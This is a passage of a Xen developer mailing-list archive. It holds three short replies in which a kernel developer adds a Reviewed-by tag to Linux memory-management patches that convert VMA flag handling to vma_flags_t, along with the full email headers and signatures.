MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: Re: [PATCH v2 08/13] mm: introduce vma_get_page_prot() and use it
Content-Language: en-US
To: Lorenzo Stoakes <ljs@kernel.org>,
 Andrew Morton <akpm@linux-foundation.org>,
 David Hildenbrand <david@kernel.org>, "Liam R. Howlett"
 <liam@infradead.org>, Mike Rapoport <rppt@kernel.org>,
 Suren Baghdasaryan <surenb@google.com>, Michal Hocko <mhocko@suse.com>,
 Thomas Bogendoerfer <tsbogend@alpha.franken.de>,
 Benjamin LaHaise <bcrl@kvack.org>, Alexander Viro <viro@zeniv.linux.org.uk>,
 Christian Brauner <brauner@kernel.org>, Jan Kara <jack@suse.cz>,
 Hugh Dickins <hughd@google.com>, Baolin Wang
 <baolin.wang@linux.alibaba.com>, Jann Horn <jannh@google.com>,
 Pedro Falcato <pfalcato@suse.de>, Muchun Song <muchun.song@linux.dev>,
 Oscar Salvador <osalvador@suse.de>, Zi Yan <ziy@nvidia.com>,
 Nico Pache <npache@redhat.com>, Ryan Roberts <ryan.roberts@arm.com>,
 Dev Jain <dev.jain@arm.com>, Barry Song <baohua@kernel.org>,
 Lance Yang <lance.yang@linux.dev>, Usama Arif <usama.arif@linux.dev>,
 Madhavan Srinivasan <maddy@linux.ibm.com>,
 Michael Ellerman <mpe@ellerman.id.au>, Nicholas Piggin <npiggin@gmail.com>,
 "Christophe Leroy (CS GROUP)" <chleroy@kernel.org>,
 Maarten Lankhorst <maarten.lankhorst@linux.intel.com>,
 Maxime Ripard <mripard@kernel.org>, Thomas Zimmermann <tzimmermann@suse.de>,
 David Airlie <airlied@gmail.com>, Simona Vetter <simona@ffwll.ch>,
 Lucas Stach <l.stach@pengutronix.de>,
 Russell King <linux+etnaviv@armlinux.org.uk>,
 Christian Gmeiner <christian.gmeiner@gmail.com>,
 Inki Dae <inki.dae@samsung.com>, Seung-Woo Kim <sw0312.kim@samsung.com>,
 Kyungmin Park <kyungmin.park@samsung.com>,
 Krzysztof Kozlowski <krzk@kernel.org>,
 Peter Griffin <peter.griffin@linaro.org>,
 Alim Akhtar <alim.akhtar@samsung.com>,
 Jani Nikula <jani.nikula@linux.intel.com>,
 Joonas Lahtinen <joonas.lahtinen@linux.intel.com>,
 Rodrigo Vivi <rodrigo.vivi@intel.com>, Tvrtko Ursulin
 <tursulin@ursulin.net>, Rob Clark <robin.clark@oss.qualcomm.com>,
 Dmitry Baryshkov <lumag@kernel.org>, Abhinav Kumar
 <abhinav.kumar@linux.dev>, Jessica Zhang <jesszhan0024@gmail.com>,
 Sean Paul <sean@poorly.run>, Marijn Suijten <marijn.suijten@somainline.org>,
 Lyude Paul <lyude@redhat.com>, Danilo Krummrich <dakr@kernel.org>,
 Tomi Valkeinen <tomi.valkeinen@ideasonboard.com>,
 Sandy Huang <hjc@rock-chips.com>, =?UTF-8?Q?Heiko_St=C3=BCbner?=
 <heiko@sntech.de>, Andy Yan <andy.yan@rock-chips.com>,
 Thierry Reding <thierry.reding@kernel.org>,
 Mikko Perttunen <mperttunen@nvidia.com>,
 Jonathan Hunter <jonathanh@nvidia.com>, Gerd Hoffmann <kraxel@redhat.com>,
 Dmitry Osipenko <dmitry.osipenko@collabora.com>,
 Gurchetan Singh <gurchetansingh@chromium.org>, Chia-I Wu
 <olvaffe@gmail.com>, Zack Rusin <zack.rusin@broadcom.com>,
 Broadcom internal kernel review list
 <bcm-kernel-feedback-list@broadcom.com>,
 Matthew Brost <matthew.brost@intel.com>,
 =?UTF-8?Q?Thomas_Hellstr=C3=B6m?= <thomas.hellstrom@linux.intel.com>,
 Oleksandr Andrushchenko <oleksandr_andrushchenko@epam.com>,
 Helge Deller <deller@gmx.de>, Kees Cook <kees@kernel.org>,
 Jaroslav Kysela <perex@perex.cz>, Takashi Iwai <tiwai@suse.com>,
 Boris Brezillon <boris.brezillon@collabora.com>,
 Steven Price <steven.price@arm.com>, Liviu Dudau <liviu.dudau@arm.com>
Cc: linux-mm@kvack.org, linux-kernel@vger.kernel.org,
 linux-mips@vger.kernel.org, linux-aio@kvack.org,
 linux-fsdevel@vger.kernel.org, linuxppc-dev@lists.ozlabs.org,
 dri-devel@lists.freedesktop.org, etnaviv@lists.freedesktop.org,
 linux-samsung-soc@vger.kernel.org, intel-gfx@lists.freedesktop.org,
 linux-arm-msm@vger.kernel.org, freedreno@lists.freedesktop.org,
 nouveau@lists.freedesktop.org, linux-tegra@vger.kernel.org,
 virtualization@lists.linux.dev, intel-xe@lists.freedesktop.org,
 xen-devel@lists.xenproject.org, linux-fbdev@vger.kernel.org,
 linux-sound@vger.kernel.org, Jani Nikula <jani.nikula@intel.com>
References: <20260711-b4-vma-flags-mm-v2-0-0fa2357d5431@kernel.org>
 <20260711-b4-vma-flags-mm-v2-8-0fa2357d5431@kernel.org>
From: "Vlastimil Babka (SUSE)" <vbabka@kernel.org>
Autocrypt: addr=vbabka@kernel.org; keydata=
 xsFNBFZdmxYBEADsw/SiUSjB0dM+vSh95UkgcHjzEVBlby/Fg+g42O7LAEkCYXi/vvq31JTB
 KxRWDHX0R2tgpFDXHnzZcQywawu8eSq0LxzxFNYMvtB7sV1pxYwej2qx9B75qW2plBs+7+YB
 87tMFA+u+L4Z5xAzIimfLD5EKC56kJ1CsXlM8S/LHcmdD9Ctkn3trYDNnat0eoAcfPIP2OZ+
 9oe9IF/R28zmh0ifLXyJQQz5ofdj4bPf8ecEW0rhcqHfTD8k4yK0xxt3xW+6Exqp9n9bydiy
 tcSAw/TahjW6yrA+6JhSBv1v2tIm+itQc073zjSX8OFL51qQVzRFr7H2UQG33lw2QrvHRXqD
 Ot7ViKam7v0Ho9wEWiQOOZlHItOOXFphWb2yq3nzrKe45oWoSgkxKb97MVsQ+q2SYjJRBBH4
 8qKhphADYxkIP6yut/eaj9ImvRUZZRi0DTc8xfnvHGTjKbJzC2xpFcY0DQbZzuwsIZ8OPJCc
 LM4S7mT25NE5kUTG/TKQCk922vRdGVMoLA7dIQrgXnRXtyT61sg8P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SasTL60zq5yGrT4/DYQVSNEUiUbG4pYekxJujNeEDkUlky0Y=
In-Reply-To: <20260711-b4-vma-flags-mm-v2-8-0fa2357d5431@kernel.org>
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 7bit
X-purgate-ID: tlsNG-c201ff/1784734995-726B52A1-EE069F4B/0/0
X-purgate-type: clean
X-purgate-size: 655

On 7/11/26 20:45, Lorenzo Stoakes wrote:
> There's a large number of vm_get_page_prot(vma->vm_flags) invocations. Make
> life easier by introducing vma_get_page_prot() parameterised by the VMA.
> 
> This also makes converting vm_get_page_prot() to vma_flags_t easier.
> 
> Also update the userland VMA tests to reflect the change.
> 
> No functional change intended.
> 
> Acked-by: Zi Yan <ziy@nvidia.com>
> Acked-by: Jani Nikula <jani.nikula@intel.com> # for i915
> Reviewed-by: Thomas Zimmermann <tzimmermann@suse.de> # for DRM
> Signed-off-by: Lorenzo Stoakes <ljs@kernel.org>

Reviewed-by: Vlastimil Babka (SUSE) <vbabka@kernel.org>



From xen-devel-bounces@lists.xenproject.org Wed Jul 22 15:53:05 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Wed, 22 Jul 2026 15:53:05 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1368554.1617873 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wmZFl-0007TZ-0E; Wed, 22 Jul 2026 15:53:01 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1368554.1617873; Wed, 22 Jul 2026 15:53:00 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wmZFk-0007TS-Tc; Wed, 22 Jul 2026 15:53:00 +0000
Received: by outflank-mailman (input) for mailman id 1368554;
 Wed, 22 Jul 2026 15:52:59 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <vbabka@kernel.org>) id 1wmZFj-0007TM-5s
 for xen-devel@lists.xenproject.org; Wed, 22 Jul 2026 15:52:59 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wmZFi-00DCFd-If
 for xen-devel@lists.xenproject.org; Wed, 22 Jul 2026 17:52:58 +0200
Received: from [10.42.69.3] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <vbabka@kernel.org>)
 id 6a60e74c-bab6-0a2a0a5309dd-0a2a4503e55c-20
 for <xen-devel@lists.xenproject.org>; Wed, 22 Jul 2026 17:52:57 +0200
Received: from [172.105.4.254] (helo=tor.source.kernel.org)
 by tlsNG-33051d.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <vbabka@kernel.org>)
 id 6a60e758-fae8-0a2a45030019-ac6904fe915a-3
 for <xen-devel@lists.xenproject.org>; Wed, 22 Jul 2026 17:52:57 +0200
Received: from smtp.kernel.org (quasi.space.kernel.org [100.103.45.18])
 by tor.source.kernel.org (Postfix) with ESMTP id 8E5D8600AF;
 Wed, 22 Jul 2026 15:52:55 +0000 (UTC)
Received: by smtp.kernel.org (Postfix) with ESMTPSA id D900D1F000E9;
 Wed, 22 Jul 2026 15:52:37 +0000 (UTC)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=k20260515 header.d=kernel.org header.i="@kernel.org" header.h="Date:Subject:To:Cc:References:From:In-Reply-To"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=kernel.org;
	s=k20260515; t=1784735575;
	bh=ufiVbs4gFZoTgyjZH/ZnFnJ99kcRuL/B6RsmsdF3mq8=;
	h=Date:Subject:To:Cc:References:From:In-Reply-To;
	b=lzeLJ+MkKsdPmOuFrEroytGywJNyjc5go9z+BRGANnrrerkTLT/cUGS0MryhpCrCz
	 JdnKkJXBXQDM1y9cnTXkAr+L8PkN74T9bfVYvVLVxwI2l26MDbErHm0dHSRnCdonnL
	 RS8BbhjVo2GZtG/uKLPlYNjbwXf0EqigSTo9sTrTgwAXfegti5hbCb82Ksax3+7W+n
	 QT+A4kOxO47PX305QOEXl/P2XsuHb7+PKLUJ9j688+bgVNRQrqfPt/YGk7hqqkhk7v
	 RW33FQF/uI3VdGs/EfFg+aU8yARX/BME5FRohcAXZwHejlJ9HpNhFnfFCSrg51Y2pZ
	 5PZGfjggIWn2Q==
Message-ID: <f241a140-cb65-4a77-8dc9-dfa450b2e0fa@kernel.org>
Date: Wed, 22 Jul 2026 17:52:36 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: Re: [PATCH v2 09/13] mm/vma: update create_init_stack_vma() to use
 vma_flags_t
Content-Language: en-US
To: Lorenzo Stoakes <ljs@kernel.org>,
 Andrew Morton <akpm@linux-foundation.org>,
 David Hildenbrand <david@kernel.org>, "Liam R. Howlett"
 <liam@infradead.org>, Mike Rapoport <rppt@kernel.org>,
 Suren Baghdasaryan <surenb@google.com>, Michal Hocko <mhocko@suse.com>,
 Thomas Bogendoerfer <tsbogend@alpha.franken.de>,
 Benjamin LaHaise <bcrl@kvack.org>, Alexander Viro <viro@zeniv.linux.org.uk>,
 Christian Brauner <brauner@kernel.org>, Jan Kara <jack@suse.cz>,
 Hugh Dickins <hughd@google.com>, Baolin Wang
 <baolin.wang@linux.alibaba.com>, Jann Horn <jannh@google.com>,
 Pedro Falcato <pfalcato@suse.de>, Muchun Song <muchun.song@linux.dev>,
 Oscar Salvador <osalvador@suse.de>, Zi Yan <ziy@nvidia.com>,
 Nico Pache <npache@redhat.com>, Ryan Roberts <ryan.roberts@arm.com>,
 Dev Jain <dev.jain@arm.com>, Barry Song <baohua@kernel.org>,
 Lance Yang <lance.yang@linux.dev>, Usama Arif <usama.arif@linux.dev>,
 Madhavan Srinivasan <maddy@linux.ibm.com>,
 Michael Ellerman <mpe@ellerman.id.au>, Nicholas Piggin <npiggin@gmail.com>,
 "Christophe Leroy (CS GROUP)" <chleroy@kernel.org>,
 Maarten Lankhorst <maarten.lankhorst@linux.intel.com>,
 Maxime Ripard <mripard@kernel.org>, Thomas Zimmermann <tzimmermann@suse.de>,
 David Airlie <airlied@gmail.com>, Simona Vetter <simona@ffwll.ch>,
 Lucas Stach <l.stach@pengutronix.de>,
 Russell King <linux+etnaviv@armlinux.org.uk>,
 Christian Gmeiner <christian.gmeiner@gmail.com>,
 Inki Dae <inki.dae@samsung.com>, Seung-Woo Kim <sw0312.kim@samsung.com>,
 Kyungmin Park <kyungmin.park@samsung.com>,
 Krzysztof Kozlowski <krzk@kernel.org>,
 Peter Griffin <peter.griffin@linaro.org>,
 Alim Akhtar <alim.akhtar@samsung.com>,
 Jani Nikula <jani.nikula@linux.intel.com>,
 Joonas Lahtinen <joonas.lahtinen@linux.intel.com>,
 Rodrigo Vivi <rodrigo.vivi@intel.com>, Tvrtko Ursulin
 <tursulin@ursulin.net>, Rob Clark <robin.clark@oss.qualcomm.com>,
 Dmitry Baryshkov <lumag@kernel.org>, Abhinav Kumar
 <abhinav.kumar@linux.dev>, Jessica Zhang <jesszhan0024@gmail.com>,
 Sean Paul <sean@poorly.run>, Marijn Suijten <marijn.suijten@somainline.org>,
 Lyude Paul <lyude@redhat.com>, Danilo Krummrich <dakr@kernel.org>,
 Tomi Valkeinen <tomi.valkeinen@ideasonboard.com>,
 Sandy Huang <hjc@rock-chips.com>, =?UTF-8?Q?Heiko_St=C3=BCbner?=
 <heiko@sntech.de>, Andy Yan <andy.yan@rock-chips.com>,
 Thierry Reding <thierry.reding@kernel.org>,
 Mikko Perttunen <mperttunen@nvidia.com>,
 Jonathan Hunter <jonathanh@nvidia.com>, Gerd Hoffmann <kraxel@redhat.com>,
 Dmitry Osipenko <dmitry.osipenko@collabora.com>,
 Gurchetan Singh <gurchetansingh@chromium.org>, Chia-I Wu
 <olvaffe@gmail.com>, Zack Rusin <zack.rusin@broadcom.com>,
 Broadcom internal kernel review list
 <bcm-kernel-feedback-list@broadcom.com>,
 Matthew Brost <matthew.brost@intel.com>,
 =?UTF-8?Q?Thomas_Hellstr=C3=B6m?= <thomas.hellstrom@linux.intel.com>,
 Oleksandr Andrushchenko <oleksandr_andrushchenko@epam.com>,
 Helge Deller <deller@gmx.de>, Kees Cook <kees@kernel.org>,
 Jaroslav Kysela <perex@perex.cz>, Takashi Iwai <tiwai@suse.com>,
 Boris Brezillon <boris.brezillon@collabora.com>,
 Steven Price <steven.price@arm.com>, Liviu Dudau <liviu.dudau@arm.com>
Cc: linux-mm@kvack.org, linux-kernel@vger.kernel.org,
 linux-mips@vger.kernel.org, linux-aio@kvack.org,
 linux-fsdevel@vger.kernel.org, linuxppc-dev@lists.ozlabs.org,
 dri-devel@lists.freedesktop.org, etnaviv@lists.freedesktop.org,
 linux-samsung-soc@vger.kernel.org, intel-gfx@lists.freedesktop.org,
 linux-arm-msm@vger.kernel.org, freedreno@lists.freedesktop.org,
 nouveau@lists.freedesktop.org, linux-tegra@vger.kernel.org,
 virtualization@lists.linux.dev, intel-xe@lists.freedesktop.org,
 xen-devel@lists.xenproject.org, linux-fbdev@vger.kernel.org,
 linux-sound@vger.kernel.org
References: <20260711-b4-vma-flags-mm-v2-0-0fa2357d5431@kernel.org>
 <20260711-b4-vma-flags-mm-v2-9-0fa2357d5431@kernel.org>
From: "Vlastimil Babka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lYgK48pm8WAeTXTngudP9IJ4SuKY
 HR5RNjHcBeqN+Me0zxRqYzRb8nGanHEkDyf4Im8DQM8d6vbyU+FcPmG4skud4kgS1zMHnlVd
 SXfSIwKC/hKgdHG8aBV7545Lz9X6Iohea+94wneD0aw/hqF+QWewGZhWJriWAZtvEkzNjQOi
 4U9F/trLten/x7bpphDSnDMKJtITbtzATT1Dq7o7VpIUK1nCTQALMuMjKCdi8OdU/+V+R3O4
 0PXWvX8qrvqYapVbZ+9KqT74FsuB0Ya9uXwgBF2Q6cRuETZk5vqaqKxzqoQZCO8AOz/58j6O
 2RHNy/mZEN+7tJ5Tsq42zVJ4jxsT8b9YplavCMsnBgDeRWhcbYhCyttoL7nYISyWg4kQYZ/P
 wIV3OuNv2f8iKYsxNsRuClOAF82+gvqOy1/1pprFjy8uo2pkoOrb63aOP3vO5VHnRKgra6dq
 NcaZ+c6J4H+nEJGi2SkHAUJz5oBzuThvPudLvPA/SK8sKoM01IRxSihev/S/5WLazXB1PGem
 OCbvzC1IjWJJraxiDJ5IygokapUa2RP7+WBR22skQ3SSl6G107QgWKSyTOGWEaRmV53vxQLV
 jXuCmzSSasTL60zq5yGrT4/DYQVSNEUiUbG4pYekxJujNeEDkUlky0Y=
In-Reply-To: <20260711-b4-vma-flags-mm-v2-9-0fa2357d5431@kernel.org>
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 7bit
X-purgate-ID: tlsNG-33051d/1784735577-6EACC4E9-7B2338B0/0/0
X-purgate-type: clean
X-purgate-size: 549

On 7/11/26 20:45, Lorenzo Stoakes wrote:
> Replace use of the legacy vm_flags_t flags with vma_flags_t values in
> create_init_stack_vma().
> 
> As part of this change we add VMA_STACK_EARLY and VMA_STACK_INCOMPLETE
> vma_flags_t defines, and slightly rework create_init_stack_vma() for
> clarity.
> 
> No functional change intended.
> 
> Reviewed-by: Zi Yan <ziy@nvidia.com>
> Reviewed-by: Lance Yang <lance.yang@linux.dev>
> Signed-off-by: Lorenzo Stoakes <ljs@kernel.org>

Reviewed-by: Vlastimil Babka (SUSE) <vbabka@kernel.org>



From xen-devel-bounces@lists.xenproject.org Wed Jul 22 16:04:50 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Wed, 22 Jul 2026 16:04:50 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1368572.1617883 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wmZR5-0001bi-0Q; Wed, 22 Jul 2026 16:04:43 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1368572.1617883; Wed, 22 Jul 2026 16:04:42 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wmZR4-0001bb-T1; Wed, 22 Jul 2026 16:04:42 +0000
Received: by outflank-mailman (input) for mailman id 1368572;
 Wed, 22 Jul 2026 16:04:42 +0000
Received: from mx.expurgate.net ([194.145.224.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <vbabka@kernel.org>) id 1wmZR4-0001bV-55
 for xen-devel@lists.xenproject.org; Wed, 22 Jul 2026 16:04:42 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wmZR3-00Gtyh-Av
 for xen-devel@lists.xenproject.org; Wed, 22 Jul 2026 18:04:41 +0200
Received: from [10.42.69.5] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <vbabka@kernel.org>)
 id 6a60ea07-2eae-0a2a0a5409dd-0a2a4505b8d0-28
 for <xen-devel@lists.xenproject.org>; Wed, 22 Jul 2026 18:04:41 +0200
Received: from [172.234.252.31] (helo=sea.source.kernel.org)
 by tlsNG-c201ff.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <vbabka@kernel.org>)
 id 6a60ea17-4cb1-0a2a45050019-aceafc1f8c2c-3
 for <xen-devel@lists.xenproject.org>; Wed, 22 Jul 2026 18:04:40 +0200
Received: from smtp.kernel.org (quasi.space.kernel.org [100.103.45.18])
 by sea.source.kernel.org (Postfix) with ESMTP id B8E7A40DA9;
 Wed, 22 Jul 2026 16:04:38 +0000 (UTC)
Received: by smtp.kernel.org (Postfix) with ESMTPSA id 3754D1F000E9;
 Wed, 22 Jul 2026 16:04:21 +0000 (UTC)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=k20260515 header.d=kernel.org header.i="@kernel.org" header.h="Date:Subject:To:Cc:References:From:In-Reply-To"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=kernel.org;
	s=k20260515; t=1784736278;
	bh=JGI6yPwNeBlQcmkYkwZnOGVunqjOzUuog/BHm26YT2g=;
	h=Date:Subject:To:Cc:References:From:In-Reply-To;
	b=Ms6o+w4c+2Xirt4wfC02ta/k/1aAw+NVhQXCtWhHHBgGhc26HNZ6GokEaoDd/oT1n
	 1Z4WoxFTQnFlX/5jbkXGg4b0auOB24CqXpo7xPvVMgmywlqaGJXPKO5XCs7UAhrhN+
	 frCMgd+z7SKYWLV0DCRn1hYlKmvxDbGPdz0M0t48FHDVBH/q8dru6Wzl7Ix7/AqcT8
	 gehnFY5/MRkKV7Y45Sqdjv3T9DFlx9vLAMdBkUxFFwrOIoku3EDIgyOwrPaaU0OHkc
	 D0ulgeLOR5tFCS7ytlEEnUrMeRFCrrgUo6xWzkFU+g1g5scLc4rvdvMNmuUo3BJ5sX
	 Vk/ngokFr4u7Q==
Message-ID: <aca6e793-c2dc-40cd-b489-80fb638dced4@kernel.org>
Date: Wed, 22 Jul 2026 18:04:19 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: Re: [PATCH v2 10/13] mm/vma: convert miscellaneous uses of VMA flags
 in core mm
Content-Language: en-US
To: Lorenzo Stoakes <ljs@kernel.org>,
 Andrew Morton <akpm@linux-foundation.org>,
 David Hildenbrand <david@kernel.org>, "Liam R. Howlett"
 <liam@infradead.org>, Mike Rapoport <rppt@kernel.org>,
 Suren Baghdasaryan <surenb@google.com>, Michal Hocko <mhocko@suse.com>,
 Thomas Bogendoerfer <tsbogend@alpha.franken.de>,
 Benjamin LaHaise <bcrl@kvack.org>, Alexander Viro <viro@zeniv.linux.org.uk>,
 Christian Brauner <brauner@kernel.org>, Jan Kara <jack@suse.cz>,
 Hugh Dickins <hughd@google.com>, Baolin Wang
 <baolin.wang@linux.alibaba.com>, Jann Horn <jannh@google.com>,
 Pedro Falcato <pfalcato@suse.de>, Muchun Song <muchun.song@linux.dev>,
 Oscar Salvador <osalvador@suse.de>, Zi Yan <ziy@nvidia.com>,
 Nico Pache <npache@redhat.com>, Ryan Roberts <ryan.roberts@arm.com>,
 Dev Jain <dev.jain@arm.com>, Barry Song <baohua@kernel.org>,
 Lance Yang <lance.yang@linux.dev>, Usama Arif <usama.arif@linux.dev>,
 Madhavan Srinivasan <maddy@linux.ibm.com>,
 Michael Ellerman <mpe@ellerman.id.au>, Nicholas Piggin <npiggin@gmail.com>,
 "Christophe Leroy (CS GROUP)" <chleroy@kernel.org>,
 Maarten Lankhorst <maarten.lankhorst@linux.intel.com>,
 Maxime Ripard <mripard@kernel.org>, Thomas Zimmermann <tzimmermann@suse.de>,
 David Airlie <airlied@gmail.com>, Simona Vetter <simona@ffwll.ch>,
 Lucas Stach <l.stach@pengutronix.de>,
 Russell King <linux+etnaviv@armlinux.org.uk>,
 Christian Gmeiner <christian.gmeiner@gmail.com>,
 Inki Dae <inki.dae@samsung.com>, Seung-Woo Kim <sw0312.kim@samsung.com>,
 Kyungmin Park <kyungmin.park@samsung.com>,
 Krzysztof Kozlowski <krzk@kernel.org>,
 Peter Griffin <peter.griffin@linaro.org>,
 Alim Akhtar <alim.akhtar@samsung.com>,
 Jani Nikula <jani.nikula@linux.intel.com>,
 Joonas Lahtinen <joonas.lahtinen@linux.intel.com>,
 Rodrigo Vivi <rodrigo.vivi@intel.com>, Tvrtko Ursulin
 <tursulin@ursulin.net>, Rob Clark <robin.clark@oss.qualcomm.com>,
 Dmitry Baryshkov <lumag@kernel.org>, Abhinav Kumar
 <abhinav.kumar@linux.dev>, Jessica Zhang <jesszhan0024@gmail.com>,
 Sean Paul <sean@poorly.run>, Marijn Suijten <marijn.suijten@somainline.org>,
 Lyude Paul <lyude@redhat.com>, Danilo Krummrich <dakr@kernel.org>,
 Tomi Valkeinen <tomi.valkeinen@ideasonboard.com>,
 Sandy Huang <hjc@rock-chips.com>, =?UTF-8?Q?Heiko_St=C3=BCbner?=
 <heiko@sntech.de>, Andy Yan <andy.yan@rock-chips.com>,
 Thierry Reding <thierry.reding@kernel.org>,
 Mikko Perttunen <mperttunen@nvidia.com>,
 Jonathan Hunter <jonathanh@nvidia.com>, Gerd Hoffmann <kraxel@redhat.com>,
 Dmitry Osipenko <dmitry.osipenko@collabora.com>,
 Gurchetan Singh <gurchetansingh@chromium.org>, Chia-I Wu
 <olvaffe@gmail.com>, Zack Rusin <zack.rusin@broadcom.com>,
 Broadcom internal kernel review list
 <bcm-kernel-feedback-list@broadcom.com>,
 Matthew Brost <matthew.brost@intel.com>,
 =?UTF-8?Q?Thomas_Hellstr=C3=B6m?= <thomas.hellstrom@linux.intel.com>,
 Oleksandr Andrushchenko <oleksandr_andrushchenko@epam.com>,
 Helge Deller <deller@gmx.de>, Kees Cook <kees@kernel.org>,
 Jaroslav Kysela <perex@perex.cz>, Takashi Iwai <tiwai@suse.com>,
 Boris Brezillon <boris.brezillon@collabora.com>,
 Steven Price <steven.price@arm.com>, Liviu Dudau <liviu.dudau@arm.com>
Cc: linux-mm@kvack.org, linux-kernel@vger.kernel.org,
 linux-mips@vger.kernel.org, linux-aio@kvack.org,
 linux-fsdevel@vger.kernel.org, linuxppc-dev@lists.ozlabs.org,
 dri-devel@lists.freedesktop.org, etnaviv@lists.freedesktop.org,
 linux-samsung-soc@vger.kernel.org, intel-gfx@lists.freedesktop.org,
 linux-arm-msm@vger.kernel.org, freedreno@lists.freedesktop.org,
 nouveau@lists.freedesktop.org, linux-tegra@vger.kernel.org,
 virtualization@lists.linux.dev, intel-xe@lists.freedesktop.org,
 xen-devel@lists.xenproject.org, linux-fbdev@vger.kernel.org,
 linux-sound@vger.kernel.org
References: <20260711-b4-vma-flags-mm-v2-0-0fa2357d5431@kernel.org>
 <20260711-b4-vma-flags-mm-v2-10-0fa2357d5431@kernel.org>
From: "Vlastimil Babka (SUSE)" <vbabka@kernel.org>
Autocrypt: addr=vbabka@kernel.org; keydata=
 xsFNBFZdmxYBEADsw/SiUSjB0dM+vSh95UkgcHjzEVBlby/Fg+g42O7LAEkCYXi/vvq31JTB
 KxRWDHX0R2tgpFDXHnzZcQywawu8eSq0LxzxFNYMvtB7sV1pxYwej2qx9B75qW2plBs+7+YB
 87tMFA+u+L4Z5xAzIimfLD5EKC56kJ1CsXlM8S/LHcmdD9Ctkn3trYDNnat0eoAcfPIP2OZ+
 9oe9IF/R28zmh0ifLXyJQQz5ofdj4bPf8ecEW0rhcqHfTD8k4yK0xxt3xW+6Exqp9n9bydiy
 tcSAw/TahjW6yrA+6JhSBv1v2tIm+itQc073zjSX8OFL51qQVzRFr7H2UQG33lw2QrvHRXqD
 Ot7ViKam7v0Ho9wEWiQOOZlHItOOXFphWb2yq3nzrKe45oWoSgkxKb97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aZ+c6J4H+nEJGi2SkHAUJz5oBzuThvPudLvPA/SK8sKoM01IRxSihev/S/5WLazXB1PGem
 OCbvzC1IjWJJraxiDJ5IygokapUa2RP7+WBR22skQ3SSl6G107QgWKSyTOGWEaRmV53vxQLV
 jXuCmzSSasTL60zq5yGrT4/DYQVSNEUiUbG4pYekxJujNeEDkUlky0Y=
In-Reply-To: <20260711-b4-vma-flags-mm-v2-10-0fa2357d5431@kernel.org>
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 7bit
X-purgate-ID: tlsNG-c201ff/1784736281-247132A1-7EC1DE11/0/0
X-purgate-type: clean
X-purgate-size: 378

On 7/11/26 20:45, Lorenzo Stoakes wrote:
> Update various uses of legacy flags in vma.c and mmap.c to the new
> vma_flags_t type, updating comments alongside them to be consistent.
> 
> No functional change intended.
> 
> Reviewed-by: Zi Yan <ziy@nvidia.com>
> Signed-off-by: Lorenzo Stoakes <ljs@kernel.org>

Reviewed-by: Vlastimil Babka (SUSE) <vbabka@kernel.org>



From xen-devel-bounces@lists.xenproject.org Wed Jul 22 16:08:26 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Wed, 22 Jul 2026 16:08:26 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1368586.1617890 (Exim 4.92)
